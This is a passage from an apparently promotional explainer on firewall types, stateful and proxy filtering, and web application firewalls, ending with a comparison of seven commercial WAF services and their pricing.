  • Packet-filtering firewall: Studies packets in isolation and does not know the packet’s context.
  • Firewall: Checks packets at the application layer of the Open Systems Interconnection (OSI) reference model.
  • Inspection firewall: Studies network traffic to determine whether one packet is related to another packet.

Network Firewalls vs. Computer Firewalls

It is possible for you to install a few software firewall programs directly onto the hard drive of a computer that needs it. Some antivirus programs are also available with inbuilt firewalls. In the case of a network firewall, you will be able to disable a computer-based firewall. However, these firewalls protect only the computers that run them. In contrast, network firewalls are capable of protecting the whole network and are usually installed at the network gateway.

How a Firewall Works

When your computer is equipped with firewall protection, every single thing that goes in and out of it is monitored.  The firewall has the potential to monitor all this information traffic in order to allow ‘good data’ in and block ‘bad data’ from entering your system.

A firewall differs from a simple traffic analyzer, however, in that a network administrator can actually take action to control that traffic. A few firewalls can even be employed for blocking everything except users and actions that are specifically allowed by you. This granular approach allows you to block all activity on a network so that you will be able to manually set up safeguards against network-related threats.

  • Proxy service: A firewall proxy server is an application that functions as an intermediary between systems. Information from the internet is saved by the firewall and then transmitted to the requesting system and vice versa. Firewall proxy servers are capable of operating at the application layer of the firewall, where both ends of a connection are made to conduct the session via the proxy. They work by developing and running a process on the firewall that mirrors a service as if it were actually running on the end host, thus consolidating all data transfer for a specific activity to the firewall for scanning.
  • Stateful inspection: This is considered to be a modern method of firewall scanning, that does not depend on the memory-intensive examination of all information packets.  A ‘stateful’ firewall holds vital attributes of each connection in a database of reliable information, for the duration of the session. These attributes, together known as the ‘state’ of the connection, could include details like the IP addresses and ports involved in the connection and the sequence numbers of the packets that get transferred. The firewall compares data being transferred to the copy applicable to that transfer held in the database. The information is allowed only if the comparison yields a positive match otherwise it is denied.
  • Packet filtering: This is the most elementary form of firewall software that employs pre-determined security rules to develop filters – if an incoming packet of information gets flagged by the filters, it is not allowed through. Packets that succeed in making it through the filters are sent to the requesting system whereas the others are rejected.

Firewall Security 

The constant increase in cybercrime continues to become a threat to businesses all over the world. You are indeed completely aware of the fact that your organization needs firewall security and you may already have a firewall management program in place. However, it is always essential to have adequate knowledge about what exactly is firewall security and what are the benefits provided by effective firewall security software.

Originally, the word firewall literally referred to a wall, which was built to stop the spread of a fire. In the field of computer firewall protection, a firewall is actually a network device that has the potential to block specific types of network traffic, developing a barrier between an untrusted network and a trusted network. It is similar to a physical firewall referring to the fact that firewall security tries to block the spread of computer attacks.

Firewall security is important as it has the following benefits:

  • Blocks unwanted content
  • Prevents ransomware from gaining traction
  • Protects your computer from unauthorized access
  • Helps keep your private data such as social security number or online banking credentials safe
  • Develops a secure network for multi-person interaction, such as online video games

Do you know what is a Web Application Firewall?

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The Web Application Firewall (WAF) protects online services from malicious internet traffic. Basically, the function of WAF is to detect malicious traffic to filter out threats which may bring havoc for the online applications. Thereby, it examines HTTP traffic before it reaches the application server. Besides, it offers protection against the unauthorized transfer of data from the server.

Web Application Firewall Security  (WAF Security)

There are two security models that Web Application Firewall security work on namely the positive and negative security models or a combination of both(hybrid security model). The positive security model (whitelist) denies everything not named as allowed whereas the negative security model (blacklist) works based on the banned items and allows everything. Web Application Firewall security prevents many attacks such as Cross-site Scripting (XSS), SQL injection, Cookie poisoning, Unvalidated input, Layer 7 DoS, and Web scraping — Data scraping.

Top 7 Web application Firewalls Comparison

Here is a list of top 7 web application firewalls that are efficient enough to protect your system from internet hacks. Go through it carefully before you make your choices:

Sucuri Website Firewall

The Sucuri Web Application Firewall is an online service wherein a website’s address gets hosted at Sucuri’s server and therefore directs all your Web traffic goes there first. Malicious files /codes are filtered through a range of techniques. The Sucuri Web Application Firewall is offered in the subscription model, and pricing starts from $9.99/month for the basic package.

StackPath Web Application Firewall 

StackPath which specializes in “edge technology” offers Web Application Firewall as one of a suites of cloud-based service. Basically, StackPath is a subscription-based Cloud service and the offsite configuration offers extra security for a Web server as any malicious code doesn’t even get a chance to touch the resources. The defenses offered by this service are IP address assessment, browser validation, and the use of content rules. The Web Application Firewall is offered free for the first month of service.

Akamai Kona Site Defender

This Web Application Firewall is the best across the globe in DDoS mitigation as it integrates full DDoS protection. The Akamai Kona Site Defender is a reputable WAF due to the reason that it often is the first to discover new exploits. By choosing Akamai Kona Site Defender, the user will stay ahead of the curve with tighter and smarter blocks on online criminal traffic.

Amazon AWS WAF

The Amazon AWS web application firewall, sometimes also referred to as  AWS WAF is offered only to customers of the Amazon Web Services. The WAF packs the Amazon content delivery network and Application Load Balancer.  The web application firewallis offered an add-on to the user’s existing subscription due to the reason that Amazon Web Services are cloud-based. They come at affordable rates, the users are billed based on each security rule that is set up and for the number of web requests per month.

Cloudbric Web Application Firewall

Cloudbric Web Application Firewall is a cloud-based web security provider based in South Korea. It offers DDoS protection, SSL solution, and WAF – Web Application Firewall. Its pricing model is based on monthly website traffic rather than premium service features. The Cloudbric Web Application Firewall works as a proxy to identify and separate malicious attacks, thereby requiring its customers to change their website’s Domain Name System (DNS).

Barracuda Web Application Firewall

Barracuda provides the complete set of Web Application Firewall features and architectures starting with support for physical and virtual appliances, public cloud-based implementations. The architecture arrives with its own set of advantages and disadvantages, ranging from SaaS option to the fine-grained control over configuration and deployment with the appliance-based offerings. It’s hardware appliances begin at $5,249, with virtual appliances coming in at $2,579.

Comodo Web Application Firewall

Comodo Web Application Firewall (CWAF) is efficient, real-time protection for websites and web applications running on LiteSpeed, Nginx on Linux, and Apache. Comodo Web Application Firewall known as CWAF supports ModSecurity rules, security and intrusion protection.

It is devised to protect sensitive customer data, meets PCI compliance requirements, effectively blocks unauthorized access, and prevents SQL injection and Cross Site Scripting (XSS) attacks.  The web interface is customizable, free ModSecurity rules-based traffic control system that delivers robust, long-term protection against all known web-server attacks. The setup is quick and easy which takes a few minutes and does not require any server-side installs.

No wonder, today web applications form the vital components for all online business. They are the ones that run many things on a website ranging from online stores to dynamic content, and much more. With all this running in the background, it is impossible to take the risk of a security breach.  An unanticipated attack on the web applications can leave a devastating impact for the site owner, thereby it is important to have a web application firewall in place to steer clear from such online dangers. So, make your decision wisely!